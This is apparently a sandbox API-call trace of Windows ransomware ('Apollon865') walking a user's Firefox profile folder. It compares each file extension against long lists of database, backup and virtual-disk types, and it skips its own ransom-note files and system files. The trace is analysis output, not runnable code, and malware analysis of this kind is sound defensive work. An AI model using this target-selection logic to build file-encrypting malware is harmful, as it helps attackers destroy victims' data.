	[0042.868] lstrlenW (lpString="dbf") returned 3
	[0042.868] lstrcmpiW (lpString1="son", lpString2="dbf") returned 1
	[0042.868] lstrlenW (lpString="mdf") returned 3
	[0042.868] lstrcmpiW (lpString1="son", lpString2="mdf") returned 1
	[0042.868] lstrlenW (lpString="mdb") returned 3
	[0042.868] lstrcmpiW (lpString1="son", lpString2="mdb") returned 1
	[0042.868] lstrlenW (lpString="sql") returned 3
	[0042.868] lstrcmpiW (lpString1="son", lpString2="sql") returned -1
	[0042.868] lstrlenW (lpString="sqlite") returned 6
	[0042.868] lstrcmpiW (lpString1="5.json", lpString2="sqlite") returned -1
	[0042.868] lstrlenW (lpString="sqlite3") returned 7
	[0042.868] lstrcmpiW (lpString1="_5.json", lpString2="sqlite3") returned -1
	[0042.868] lstrlenW (lpString="sqlitedb") returned 8
	[0042.868] lstrcmpiW (lpString1="5_5.json", lpString2="sqlitedb") returned -1
	[0042.868] lstrlenW (lpString="xml") returned 3
	[0042.868] lstrcmpiW (lpString1="son", lpString2="xml") returned -1
	[0042.868] lstrlenW (lpString="$er") returned 3
	[0042.868] lstrcmpiW (lpString1="son", lpString2="$er") returned 1
	[0042.868] lstrlenW (lpString="4dd") returned 3
	[0042.868] lstrcmpiW (lpString1="son", lpString2="4dd") returned 1
	[0042.868] lstrlenW (lpString="4dl") returned 3
	[0042.868] lstrcmpiW (lpString1="son", lpString2="4dl") returned 1
	[0042.868] lstrlenW (lpString="^^^") returned 3
	[0042.868] lstrcmpiW (lpString1="son", lpString2="^^^") returned 1
	[0042.868] lstrlenW (lpString="abs") returned 3
	[0042.868] lstrcmpiW (lpString1="son", lpString2="abs") returned 1
	[0042.868] lstrlenW (lpString="abx") returned 3
	[0042.868] lstrcmpiW (lpString1="son", lpString2="abx") returned 1
	[0042.868] lstrlenW (lpString="accdb") returned 5
	[0042.868] lstrcmpiW (lpString1=".json", lpString2="accdb") returned -1
	[0042.868] lstrlenW (lpString="accdc") returned 5
	[0042.868] lstrcmpiW (lpString1=".json", lpString2="accdc") returned -1
	[0042.868] lstrlenW (lpString="accde") returned 5
	[0042.868] lstrcmpiW (lpString1=".json", lpString2="accde") returned -1
	[0042.868] lstrlenW (lpString="accdr") returned 5
	[0042.868] lstrcmpiW (lpString1=".json", lpString2="accdr") returned -1
	[0042.869] lstrlenW (lpString="accdt") returned 5
	[0042.869] lstrcmpiW (lpString1=".json", lpString2="accdt") returned -1
	[0042.869] lstrlenW (lpString="accdw") returned 5
	[0042.869] lstrcmpiW (lpString1=".json", lpString2="accdw") returned -1
	[0042.869] lstrlenW (lpString="accft") returned 5
	[0042.869] lstrcmpiW (lpString1=".json", lpString2="accft") returned -1
	[0042.869] lstrlenW (lpString="adb") returned 3
	[0042.869] lstrcmpiW (lpString1="son", lpString2="adb") returned 1
	[0042.869] lstrlenW (lpString="adb") returned 3
	[0042.869] lstrcmpiW (lpString1="son", lpString2="adb") returned 1
	[0042.869] lstrlenW (lpString="ade") returned 3
	[0042.869] lstrcmpiW (lpString1="son", lpString2="ade") returned 1
	[0042.869] lstrlenW (lpString="adf") returned 3
	[0042.869] lstrcmpiW (lpString1="son", lpString2="adf") returned 1
	[0042.869] lstrlenW (lpString="adn") returned 3
	[0042.869] lstrcmpiW (lpString1="son", lpString2="adn") returned 1
	[0042.869] lstrlenW (lpString="adp") returned 3
	[0042.869] lstrcmpiW (lpString1="son", lpString2="adp") returned 1
	[0042.869] lstrlenW (lpString="alf") returned 3
	[0042.869] lstrcmpiW (lpString1="son", lpString2="alf") returned 1
	[0042.869] lstrlenW (lpString="ask") returned 3
	[0042.869] lstrcmpiW (lpString1="son", lpString2="ask") returned 1
	[0042.869] lstrlenW (lpString="btr") returned 3
	[0042.869] lstrcmpiW (lpString1="son", lpString2="btr") returned 1
	[0042.869] lstrlenW (lpString="cat") returned 3
	[0042.870] lstrcmpiW (lpString1="son", lpString2="cat") returned 1
	[0042.870] lstrlenW (lpString="cdb") returned 3
	[0042.870] lstrcmpiW (lpString1="son", lpString2="cdb") returned 1
	[0042.870] lstrlenW (lpString="ckp") returned 3
	[0042.870] lstrcmpiW (lpString1="son", lpString2="ckp") returned 1
	[0042.870] lstrlenW (lpString="cma") returned 3
	[0042.870] lstrcmpiW (lpString1="son", lpString2="cma") returned 1
	[0042.870] lstrlenW (lpString="cpd") returned 3
	[0042.870] lstrcmpiW (lpString1="son", lpString2="cpd") returned 1
	[0042.870] lstrlenW (lpString="dacpac") returned 6
	[0042.870] lstrcmpiW (lpString1="5.json", lpString2="dacpac") returned -1
	[0042.870] lstrlenW (lpString="dad") returned 3
	[0042.870] lstrcmpiW (lpString1="son", lpString2="dad") returned 1
	[0042.870] lstrlenW (lpString="dadiagrams") returned 10
	[0042.870] lstrcmpiW (lpString1="-05_5.json", lpString2="dadiagrams") returned -1
	[0042.870] lstrlenW (lpString="daschema") returned 8
	[0042.870] lstrcmpiW (lpString1="5_5.json", lpString2="daschema") returned -1
	[0042.870] lstrlenW (lpString="db-journal") returned 10
	[0042.870] lstrcmpiW (lpString1="-05_5.json", lpString2="db-journal") returned -1
	[0042.870] lstrlenW (lpString="db-shm") returned 6
	[0042.870] lstrcmpiW (lpString1="5.json", lpString2="db-shm") returned -1
	[0042.870] lstrlenW (lpString="db-wal") returned 6
	[0042.870] lstrcmpiW (lpString1="5.json", lpString2="db-wal") returned -1
	[0042.870] lstrlenW (lpString="dbc") returned 3
	[0042.870] lstrcmpiW (lpString1="son", lpString2="dbc") returned 1
	[0042.871] lstrlenW (lpString="dbs") returned 3
	[0042.871] lstrcmpiW (lpString1="son", lpString2="dbs") returned 1
	[0042.871] lstrlenW (lpString="dbt") returned 3
	[0042.871] lstrcmpiW (lpString1="son", lpString2="dbt") returned 1
	[0042.871] lstrlenW (lpString="dbv") returned 3
	[0042.871] lstrcmpiW (lpString1="son", lpString2="dbv") returned 1
	[0042.871] lstrlenW (lpString="dbx") returned 3
	[0042.871] lstrcmpiW (lpString1="son", lpString2="dbx") returned 1
	[0042.871] lstrlenW (lpString="dcb") returned 3
	[0042.871] lstrcmpiW (lpString1="son", lpString2="dcb") returned 1
	[0042.871] lstrlenW (lpString="dct") returned 3
	[0042.871] lstrcmpiW (lpString1="son", lpString2="dct") returned 1
	[0042.871] lstrlenW (lpString="dcx") returned 3
	[0042.871] lstrcmpiW (lpString1="son", lpString2="dcx") returned 1
	[0042.871] lstrlenW (lpString="ddl") returned 3
	[0042.871] lstrcmpiW (lpString1="son", lpString2="ddl") returned 1
	[0042.871] lstrlenW (lpString="dlis") returned 4
	[0042.871] lstrcmpiW (lpString1="json", lpString2="dlis") returned 1
	[0042.871] lstrlenW (lpString="dp1") returned 3
	[0042.871] lstrcmpiW (lpString1="son", lpString2="dp1") returned 1
	[0042.871] lstrlenW (lpString="dqy") returned 3
	[0042.871] lstrcmpiW (lpString1="son", lpString2="dqy") returned 1
	[0042.871] lstrlenW (lpString="dsk") returned 3
	[0042.871] lstrcmpiW (lpString1="son", lpString2="dsk") returned 1
	[0042.871] lstrlenW (lpString="dsn") returned 3
	[0042.871] lstrcmpiW (lpString1="son", lpString2="dsn") returned 1
	[0042.871] lstrlenW (lpString="dtsx") returned 4
	[0042.871] lstrcmpiW (lpString1="json", lpString2="dtsx") returned 1
	[0042.871] lstrlenW (lpString="dxl") returned 3
	[0042.871] lstrcmpiW (lpString1="son", lpString2="dxl") returned 1
	[0042.871] lstrlenW (lpString="eco") returned 3
	[0042.871] lstrcmpiW (lpString1="son", lpString2="eco") returned 1
	[0042.871] lstrlenW (lpString="ecx") returned 3
	[0042.871] lstrcmpiW (lpString1="son", lpString2="ecx") returned 1
	[0042.871] lstrlenW (lpString="edb") returned 3
	[0042.872] lstrcmpiW (lpString1="son", lpString2="edb") returned 1
	[0042.872] lstrlenW (lpString="epim") returned 4
	[0042.872] lstrcmpiW (lpString1="json", lpString2="epim") returned 1
	[0042.872] lstrlenW (lpString="fcd") returned 3
	[0042.872] lstrcmpiW (lpString1="son", lpString2="fcd") returned 1
	[0042.872] lstrlenW (lpString="fdb") returned 3
	[0042.872] lstrcmpiW (lpString1="son", lpString2="fdb") returned 1
	[0042.872] lstrlenW (lpString="fic") returned 3
	[0042.872] lstrcmpiW (lpString1="son", lpString2="fic") returned 1
	[0042.872] lstrlenW (lpString="flexolibrary") returned 12
	[0042.872] lstrcmpiW (lpString1="06-05_5.json", lpString2="flexolibrary") returned -1
	[0042.872] lstrlenW (lpString="fm5") returned 3
	[0042.872] lstrcmpiW (lpString1="son", lpString2="fm5") returned 1
	[0042.872] lstrlenW (lpString="fmp") returned 3
	[0042.872] lstrcmpiW (lpString1="son", lpString2="fmp") returned 1
	[0042.872] lstrlenW (lpString="fmp12") returned 5
	[0042.872] lstrcmpiW (lpString1=".json", lpString2="fmp12") returned -1
	[0042.872] lstrlenW (lpString="fmpsl") returned 5
	[0042.872] lstrcmpiW (lpString1=".json", lpString2="fmpsl") returned -1
	[0042.872] lstrlenW (lpString="fol") returned 3
	[0042.872] lstrcmpiW (lpString1="son", lpString2="fol") returned 1
	[0042.872] lstrlenW (lpString="fp3") returned 3
	[0042.872] lstrcmpiW (lpString1="son", lpString2="fp3") returned 1
	[0042.872] lstrlenW (lpString="fp4") returned 3
	[0042.872] lstrcmpiW (lpString1="son", lpString2="fp4") returned 1
	[0042.872] lstrlenW (lpString="fp5") returned 3
	[0042.872] lstrcmpiW (lpString1="son", lpString2="fp5") returned 1
	[0042.872] lstrlenW (lpString="fp7") returned 3
	[0042.872] lstrcmpiW (lpString1="son", lpString2="fp7") returned 1
	[0042.872] lstrlenW (lpString="fpt") returned 3
	[0042.872] lstrcmpiW (lpString1="son", lpString2="fpt") returned 1
	[0042.872] lstrlenW (lpString="frm") returned 3
	[0042.872] lstrcmpiW (lpString1="son", lpString2="frm") returned 1
	[0042.872] lstrlenW (lpString="gdb") returned 3
	[0042.872] lstrcmpiW (lpString1="son", lpString2="gdb") returned 1
	[0042.873] lstrlenW (lpString="gdb") returned 3
	[0042.873] lstrcmpiW (lpString1="son", lpString2="gdb") returned 1
	[0042.873] lstrlenW (lpString="grdb") returned 4
	[0042.873] lstrcmpiW (lpString1="json", lpString2="grdb") returned 1
	[0042.873] lstrlenW (lpString="gwi") returned 3
	[0042.873] lstrcmpiW (lpString1="son", lpString2="gwi") returned 1
	[0042.873] lstrlenW (lpString="hdb") returned 3
	[0042.873] lstrcmpiW (lpString1="son", lpString2="hdb") returned 1
	[0042.873] lstrlenW (lpString="his") returned 3
	[0042.873] lstrcmpiW (lpString1="son", lpString2="his") returned 1
	[0042.873] lstrlenW (lpString="ib") returned 2
	[0042.873] lstrcmpiW (lpString1="on", lpString2="ib") returned 1
	[0042.873] lstrlenW (lpString="idb") returned 3
	[0042.873] lstrcmpiW (lpString1="son", lpString2="idb") returned 1
	[0042.873] lstrlenW (lpString="ihx") returned 3
	[0042.873] lstrcmpiW (lpString1="son", lpString2="ihx") returned 1
	[0042.873] lstrlenW (lpString="itdb") returned 4
	[0042.873] lstrcmpiW (lpString1="json", lpString2="itdb") returned 1
	[0042.873] lstrlenW (lpString="itw") returned 3
	[0042.873] lstrcmpiW (lpString1="son", lpString2="itw") returned 1
	[0042.873] lstrlenW (lpString="jet") returned 3
	[0042.873] lstrcmpiW (lpString1="son", lpString2="jet") returned 1
	[0042.873] lstrlenW (lpString="jtx") returned 3
	[0042.873] lstrcmpiW (lpString1="son", lpString2="jtx") returned 1
	[0042.873] lstrlenW (lpString="kdb") returned 3
	[0042.873] lstrcmpiW (lpString1="son", lpString2="kdb") returned 1
	[0042.873] lstrlenW (lpString="kexi") returned 4
	[0042.873] lstrcmpiW (lpString1="json", lpString2="kexi") returned -1
	[0042.873] lstrlenW (lpString="kexic") returned 5
	[0042.873] lstrcmpiW (lpString1=".json", lpString2="kexic") returned -1
	[0042.873] lstrlenW (lpString="kexis") returned 5
	[0042.873] lstrcmpiW (lpString1=".json", lpString2="kexis") returned -1
	[0042.873] lstrlenW (lpString="lgc") returned 3
	[0042.873] lstrcmpiW (lpString1="son", lpString2="lgc") returned 1
	[0042.874] lstrlenW (lpString="lwx") returned 3
	[0042.874] lstrcmpiW (lpString1="son", lpString2="lwx") returned 1
	[0042.874] lstrlenW (lpString="maf") returned 3
	[0042.874] lstrcmpiW (lpString1="son", lpString2="maf") returned 1
	[0042.874] lstrlenW (lpString="maq") returned 3
	[0042.874] lstrcmpiW (lpString1="son", lpString2="maq") returned 1
	[0042.874] lstrlenW (lpString="mar") returned 3
	[0042.874] lstrcmpiW (lpString1="son", lpString2="mar") returned 1
	[0042.874] lstrlenW (lpString="marshal") returned 7
	[0042.874] lstrcmpiW (lpString1="_5.json", lpString2="marshal") returned -1
	[0042.874] lstrlenW (lpString="mas") returned 3
	[0042.874] lstrcmpiW (lpString1="son", lpString2="mas") returned 1
	[0042.874] lstrlenW (lpString="mav") returned 3
	[0042.874] lstrcmpiW (lpString1="son", lpString2="mav") returned 1
	[0042.874] lstrlenW (lpString="maw") returned 3
	[0042.874] lstrcmpiW (lpString1="son", lpString2="maw") returned 1
	[0042.874] lstrlenW (lpString="mdbhtml") returned 7
	[0042.874] lstrcmpiW (lpString1="_5.json", lpString2="mdbhtml") returned -1
	[0042.874] lstrlenW (lpString="mdn") returned 3
	[0042.874] lstrcmpiW (lpString1="son", lpString2="mdn") returned 1
	[0042.874] lstrlenW (lpString="mdt") returned 3
	[0042.874] lstrcmpiW (lpString1="son", lpString2="mdt") returned 1
	[0042.874] lstrlenW (lpString="mfd") returned 3
	[0042.874] lstrcmpiW (lpString1="son", lpString2="mfd") returned 1
	[0042.874] lstrlenW (lpString="mpd") returned 3
	[0042.874] lstrcmpiW (lpString1="son", lpString2="mpd") returned 1
	[0042.874] lstrlenW (lpString="mrg") returned 3
	[0042.874] lstrcmpiW (lpString1="son", lpString2="mrg") returned 1
	[0042.874] lstrlenW (lpString="mud") returned 3
	[0042.874] lstrcmpiW (lpString1="son", lpString2="mud") returned 1
	[0042.874] lstrlenW (lpString="mwb") returned 3
	[0042.874] lstrcmpiW (lpString1="son", lpString2="mwb") returned 1
	[0042.874] lstrlenW (lpString="myd") returned 3
	[0042.874] lstrcmpiW (lpString1="son", lpString2="myd") returned 1
	[0042.875] lstrlenW (lpString="ndf") returned 3
	[0042.875] lstrcmpiW (lpString1="son", lpString2="ndf") returned 1
	[0042.875] lstrlenW (lpString="nnt") returned 3
	[0042.875] lstrcmpiW (lpString1="son", lpString2="nnt") returned 1
	[0042.875] lstrlenW (lpString="nrmlib") returned 6
	[0042.875] lstrcmpiW (lpString1="5.json", lpString2="nrmlib") returned -1
	[0042.875] lstrlenW (lpString="ns2") returned 3
	[0042.875] lstrcmpiW (lpString1="son", lpString2="ns2") returned 1
	[0042.875] lstrlenW (lpString="ns3") returned 3
	[0042.875] lstrcmpiW (lpString1="son", lpString2="ns3") returned 1
	[0042.875] lstrlenW (lpString="ns4") returned 3
	[0042.875] lstrcmpiW (lpString1="son", lpString2="ns4") returned 1
	[0042.875] lstrlenW (lpString="nsf") returned 3
	[0042.875] lstrcmpiW (lpString1="son", lpString2="nsf") returned 1
	[0042.875] lstrlenW (lpString="nv") returned 2
	[0042.875] lstrcmpiW (lpString1="on", lpString2="nv") returned 1
	[0042.875] lstrlenW (lpString="nv2") returned 3
	[0042.875] lstrcmpiW (lpString1="son", lpString2="nv2") returned 1
	[0042.875] lstrlenW (lpString="nwdb") returned 4
	[0042.875] lstrcmpiW (lpString1="json", lpString2="nwdb") returned -1
	[0042.875] lstrlenW (lpString="nyf") returned 3
	[0042.875] lstrcmpiW (lpString1="son", lpString2="nyf") returned 1
	[0042.875] lstrlenW (lpString="odb") returned 3
	[0042.875] lstrcmpiW (lpString1="son", lpString2="odb") returned 1
	[0042.875] lstrlenW (lpString="odb") returned 3
	[0042.875] lstrcmpiW (lpString1="son", lpString2="odb") returned 1
	[0042.875] lstrlenW (lpString="oqy") returned 3
	[0042.875] lstrcmpiW (lpString1="son", lpString2="oqy") returned 1
	[0042.875] lstrlenW (lpString="ora") returned 3
	[0042.875] lstrcmpiW (lpString1="son", lpString2="ora") returned 1
	[0042.875] lstrlenW (lpString="orx") returned 3
	[0042.875] lstrcmpiW (lpString1="son", lpString2="orx") returned 1
	[0042.875] lstrlenW (lpString="owc") returned 3
	[0042.875] lstrcmpiW (lpString1="son", lpString2="owc") returned 1
	[0042.875] lstrlenW (lpString="p96") returned 3
	[0042.876] lstrcmpiW (lpString1="son", lpString2="p96") returned 1
	[0042.876] lstrlenW (lpString="p97") returned 3
	[0042.876] lstrcmpiW (lpString1="son", lpString2="p97") returned 1
	[0042.876] lstrlenW (lpString="pan") returned 3
	[0042.876] lstrcmpiW (lpString1="son", lpString2="pan") returned 1
	[0042.876] lstrlenW (lpString="pdb") returned 3
	[0042.876] lstrcmpiW (lpString1="son", lpString2="pdb") returned 1
	[0042.876] lstrlenW (lpString="pdm") returned 3
	[0042.876] lstrcmpiW (lpString1="son", lpString2="pdm") returned 1
	[0042.876] lstrlenW (lpString="pnz") returned 3
	[0042.876] lstrcmpiW (lpString1="son", lpString2="pnz") returned 1
	[0042.876] lstrlenW (lpString="qry") returned 3
	[0042.876] lstrcmpiW (lpString1="son", lpString2="qry") returned 1
	[0042.876] lstrlenW (lpString="qvd") returned 3
	[0042.876] lstrcmpiW (lpString1="son", lpString2="qvd") returned 1
	[0042.876] lstrlenW (lpString="rbf") returned 3
	[0042.876] lstrcmpiW (lpString1="son", lpString2="rbf") returned 1
	[0042.876] lstrlenW (lpString="rctd") returned 4
	[0042.876] lstrcmpiW (lpString1="json", lpString2="rctd") returned -1
	[0042.876] lstrlenW (lpString="rod") returned 3
	[0042.876] lstrcmpiW (lpString1="son", lpString2="rod") returned 1
	[0042.876] lstrlenW (lpString="rodx") returned 4
	[0042.876] lstrcmpiW (lpString1="json", lpString2="rodx") returned -1
	[0042.876] lstrlenW (lpString="rpd") returned 3
	[0042.876] lstrcmpiW (lpString1="son", lpString2="rpd") returned 1
	[0042.876] lstrlenW (lpString="rsd") returned 3
	[0042.876] lstrcmpiW (lpString1="son", lpString2="rsd") returned 1
	[0042.876] lstrlenW (lpString="sas7bdat") returned 8
	[0042.876] lstrcmpiW (lpString1="5_5.json", lpString2="sas7bdat") returned -1
	[0042.876] lstrlenW (lpString="sbf") returned 3
	[0042.876] lstrcmpiW (lpString1="son", lpString2="sbf") returned 1
	[0042.876] lstrlenW (lpString="scx") returned 3
	[0042.876] lstrcmpiW (lpString1="son", lpString2="scx") returned 1
	[0042.876] lstrlenW (lpString="sdb") returned 3
	[0042.876] lstrcmpiW (lpString1="son", lpString2="sdb") returned 1
	[0042.877] lstrlenW (lpString="sdc") returned 3
	[0042.877] lstrcmpiW (lpString1="son", lpString2="sdc") returned 1
	[0042.877] lstrlenW (lpString="sdf") returned 3
	[0042.877] lstrcmpiW (lpString1="son", lpString2="sdf") returned 1
	[0042.877] lstrlenW (lpString="sis") returned 3
	[0042.877] lstrcmpiW (lpString1="son", lpString2="sis") returned 1
	[0042.877] lstrlenW (lpString="spq") returned 3
	[0042.877] lstrcmpiW (lpString1="son", lpString2="spq") returned -1
	[0042.877] lstrlenW (lpString="te") returned 2
	[0042.877] lstrcmpiW (lpString1="on", lpString2="te") returned -1
	[0042.877] lstrlenW (lpString="teacher") returned 7
	[0042.877] lstrcmpiW (lpString1="_5.json", lpString2="teacher") returned -1
	[0042.877] lstrlenW (lpString="tmd") returned 3
	[0042.877] lstrcmpiW (lpString1="son", lpString2="tmd") returned -1
	[0042.877] lstrlenW (lpString="tps") returned 3
	[0042.877] lstrcmpiW (lpString1="son", lpString2="tps") returned -1
	[0042.877] lstrlenW (lpString="trc") returned 3
	[0042.877] lstrcmpiW (lpString1="son", lpString2="trc") returned -1
	[0042.877] lstrlenW (lpString="trc") returned 3
	[0042.877] lstrcmpiW (lpString1="son", lpString2="trc") returned -1
	[0042.877] lstrlenW (lpString="trm") returned 3
	[0042.877] lstrcmpiW (lpString1="son", lpString2="trm") returned -1
	[0042.877] lstrlenW (lpString="udb") returned 3
	[0042.877] lstrcmpiW (lpString1="son", lpString2="udb") returned -1
	[0042.877] lstrlenW (lpString="udl") returned 3
	[0042.877] lstrcmpiW (lpString1="son", lpString2="udl") returned -1
	[0042.877] lstrlenW (lpString="usr") returned 3
	[0042.877] lstrcmpiW (lpString1="son", lpString2="usr") returned -1
	[0042.877] lstrlenW (lpString="v12") returned 3
	[0042.877] lstrcmpiW (lpString1="son", lpString2="v12") returned -1
	[0042.877] lstrlenW (lpString="vis") returned 3
	[0042.877] lstrcmpiW (lpString1="son", lpString2="vis") returned -1
	[0042.877] lstrlenW (lpString="vpd") returned 3
	[0042.878] lstrcmpiW (lpString1="son", lpString2="vpd") returned -1
	[0042.878] lstrlenW (lpString="vvv") returned 3
	[0042.878] lstrcmpiW (lpString1="son", lpString2="vvv") returned -1
	[0042.878] lstrlenW (lpString="wdb") returned 3
	[0042.878] lstrcmpiW (lpString1="son", lpString2="wdb") returned -1
	[0042.878] lstrlenW (lpString="wmdb") returned 4
	[0042.878] lstrcmpiW (lpString1="json", lpString2="wmdb") returned -1
	[0042.878] lstrlenW (lpString="wrk") returned 3
	[0042.878] lstrcmpiW (lpString1="son", lpString2="wrk") returned -1
	[0042.878] lstrlenW (lpString="xdb") returned 3
	[0042.878] lstrcmpiW (lpString1="son", lpString2="xdb") returned -1
	[0042.878] lstrlenW (lpString="xld") returned 3
	[0042.878] lstrcmpiW (lpString1="son", lpString2="xld") returned -1
	[0042.878] lstrlenW (lpString="xmlff") returned 5
	[0042.878] lstrcmpiW (lpString1=".json", lpString2="xmlff") returned -1
	[0042.878] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85017d10, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x85017d10, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85017d10, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbdb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bookmarks-2017-06-16_5.json", cAlternateFileName="BOOKMA~2.JSO")) returned 1
	[0042.878] lstrcmpiW (lpString1="bookmarks-2017-06-16_5.json", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.878] lstrcmpiW (lpString1="bookmarks-2017-06-16_5.json", lpString2="Apollon865.txt.exe") returned 1
	[0042.878] lstrcmpiW (lpString1="bookmarks-2017-06-16_5.json", lpString2=".") returned 1
	[0042.878] lstrcmpiW (lpString1="bookmarks-2017-06-16_5.json", lpString2="..") returned 1
	[0042.878] lstrcmpiW (lpString1="bookmarks-2017-06-16_5.json", lpString2="windows") returned -1
	[0042.878] lstrcmpiW (lpString1="bookmarks-2017-06-16_5.json", lpString2="bootmgr") returned -1
	[0042.878] lstrcmpiW (lpString1="bookmarks-2017-06-16_5.json", lpString2="temp") returned -1
	[0042.878] lstrcmpiW (lpString1="bookmarks-2017-06-16_5.json", lpString2="pagefile.sys") returned -1
	[0042.878] lstrcmpiW (lpString1="bookmarks-2017-06-16_5.json", lpString2="boot") returned -1
	[0042.878] lstrcmpiW (lpString1="bookmarks-2017-06-16_5.json", lpString2="ids.txt") returned -1
	[0042.878] lstrcmpiW (lpString1="bookmarks-2017-06-16_5.json", lpString2="ntuser.dat") returned -1
	[0042.878] lstrcmpiW (lpString1="bookmarks-2017-06-16_5.json", lpString2="perflogs") returned -1
	[0042.878] lstrcmpiW (lpString1="bookmarks-2017-06-16_5.json", lpString2="MSBuild") returned -1
	[0042.878] lstrlenW (lpString="bookmarks-2017-06-16_5.json") returned 27
	[0042.878] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-05_5.json") returned 131
	[0042.878] lstrcpyW (in: lpString1=0x2d3e620, lpString2="bookmarks-2017-06-16_5.json" | out: lpString1="bookmarks-2017-06-16_5.json") returned="bookmarks-2017-06-16_5.json"
	[0042.878] lstrlenW (lpString="bookmarks-2017-06-16_5.json") returned 27
	[0042.879] lstrlenW (lpString="Apollon865") returned 10
	[0042.879] lstrcmpiW (lpString1="-16_5.json", lpString2="Apollon865") returned -1
	[0042.879] lstrlenW (lpString=".dll") returned 4
	[0042.879] lstrcmpiW (lpString1="bookmarks-2017-06-16_5.json", lpString2=".dll") returned 1
	[0042.879] lstrlenW (lpString=".lnk") returned 4
	[0042.879] lstrcmpiW (lpString1="bookmarks-2017-06-16_5.json", lpString2=".lnk") returned 1
	[0042.879] lstrlenW (lpString=".ini") returned 4
	[0042.879] lstrcmpiW (lpString1="bookmarks-2017-06-16_5.json", lpString2=".ini") returned 1
	[0042.879] lstrlenW (lpString=".sys") returned 4
	[0042.879] lstrcmpiW (lpString1="bookmarks-2017-06-16_5.json", lpString2=".sys") returned 1
	[0042.879] lstrlenW (lpString="bookmarks-2017-06-16_5.json") returned 27
	[0042.879] lstrlenW (lpString="bak") returned 3
	[0042.879] lstrcmpiW (lpString1="son", lpString2="bak") returned 1
	[0042.879] lstrlenW (lpString="ba_") returned 3
	[0042.879] lstrcmpiW (lpString1="son", lpString2="ba_") returned 1
	[0042.879] lstrlenW (lpString="dbb") returned 3
	[0042.879] lstrcmpiW (lpString1="son", lpString2="dbb") returned 1
	[0042.879] lstrlenW (lpString="vmdk") returned 4
	[0042.879] lstrcmpiW (lpString1="json", lpString2="vmdk") returned -1
	[0042.879] lstrlenW (lpString="rar") returned 3
	[0042.879] lstrcmpiW (lpString1="son", lpString2="rar") returned 1
	[0042.879] lstrlenW (lpString="zip") returned 3
	[0042.879] lstrcmpiW (lpString1="son", lpString2="zip") returned -1
	[0042.879] lstrlenW (lpString="tgz") returned 3
	[0042.879] lstrcmpiW (lpString1="son", lpString2="tgz") returned -1
	[0042.879] lstrlenW (lpString="vbox") returned 4
	[0042.879] lstrcmpiW (lpString1="json", lpString2="vbox") returned -1
	[0042.879] lstrlenW (lpString="vdi") returned 3
	[0042.879] lstrcmpiW (lpString1="son", lpString2="vdi") returned -1
	[0042.879] lstrlenW (lpString="vhd") returned 3
	[0042.879] lstrcmpiW (lpString1="son", lpString2="vhd") returned -1
	[0042.879] lstrlenW (lpString="vhdx") returned 4
	[0042.879] lstrcmpiW (lpString1="json", lpString2="vhdx") returned -1
	[0042.879] lstrlenW (lpString="avhd") returned 4
	[0042.880] lstrcmpiW (lpString1="json", lpString2="avhd") returned 1
	[0042.880] lstrlenW (lpString="db") returned 2
	[0042.880] lstrcmpiW (lpString1="on", lpString2="db") returned 1
	[0042.880] lstrlenW (lpString="db2") returned 3
	[0042.880] lstrcmpiW (lpString1="son", lpString2="db2") returned 1
	[0042.880] lstrlenW (lpString="db3") returned 3
	[0042.880] lstrcmpiW (lpString1="son", lpString2="db3") returned 1
	[0042.880] lstrlenW (lpString="dbf") returned 3
	[0042.880] lstrcmpiW (lpString1="son", lpString2="dbf") returned 1
	[0042.880] lstrlenW (lpString="mdf") returned 3
	[0042.880] lstrcmpiW (lpString1="son", lpString2="mdf") returned 1
	[0042.880] lstrlenW (lpString="mdb") returned 3
	[0042.880] lstrcmpiW (lpString1="son", lpString2="mdb") returned 1
	[0042.880] lstrlenW (lpString="sql") returned 3
	[0042.880] lstrcmpiW (lpString1="son", lpString2="sql") returned -1
	[0042.880] lstrlenW (lpString="sqlite") returned 6
	[0042.880] lstrcmpiW (lpString1="5.json", lpString2="sqlite") returned -1
	[0042.880] lstrlenW (lpString="sqlite3") returned 7
	[0042.880] lstrcmpiW (lpString1="_5.json", lpString2="sqlite3") returned -1
	[0042.880] lstrlenW (lpString="sqlitedb") returned 8
	[0042.880] lstrcmpiW (lpString1="6_5.json", lpString2="sqlitedb") returned -1
	[0042.880] lstrlenW (lpString="xml") returned 3
	[0042.880] lstrcmpiW (lpString1="son", lpString2="xml") returned -1
	[0042.880] lstrlenW (lpString="$er") returned 3
	[0042.880] lstrcmpiW (lpString1="son", lpString2="$er") returned 1
	[0042.880] lstrlenW (lpString="4dd") returned 3
	[0042.880] lstrcmpiW (lpString1="son", lpString2="4dd") returned 1
	[0042.880] lstrlenW (lpString="4dl") returned 3
	[0042.880] lstrcmpiW (lpString1="son", lpString2="4dl") returned 1
	[0042.880] lstrlenW (lpString="^^^") returned 3
	[0042.880] lstrcmpiW (lpString1="son", lpString2="^^^") returned 1
	[0042.880] lstrlenW (lpString="abs") returned 3
	[0042.880] lstrcmpiW (lpString1="son", lpString2="abs") returned 1
	[0042.880] lstrlenW (lpString="abx") returned 3
	[0042.880] lstrcmpiW (lpString1="son", lpString2="abx") returned 1
	[0042.881] lstrlenW (lpString="accdb") returned 5
	[0042.881] lstrcmpiW (lpString1=".json", lpString2="accdb") returned -1
	[0042.881] lstrlenW (lpString="accdc") returned 5
	[0042.881] lstrcmpiW (lpString1=".json", lpString2="accdc") returned -1
	[0042.881] lstrlenW (lpString="accde") returned 5
	[0042.881] lstrcmpiW (lpString1=".json", lpString2="accde") returned -1
	[0042.881] lstrlenW (lpString="accdr") returned 5
	[0042.881] lstrcmpiW (lpString1=".json", lpString2="accdr") returned -1
	[0042.881] lstrlenW (lpString="accdt") returned 5
	[0042.881] lstrcmpiW (lpString1=".json", lpString2="accdt") returned -1
	[0042.881] lstrlenW (lpString="accdw") returned 5
	[0042.881] lstrcmpiW (lpString1=".json", lpString2="accdw") returned -1
	[0042.881] lstrlenW (lpString="accft") returned 5
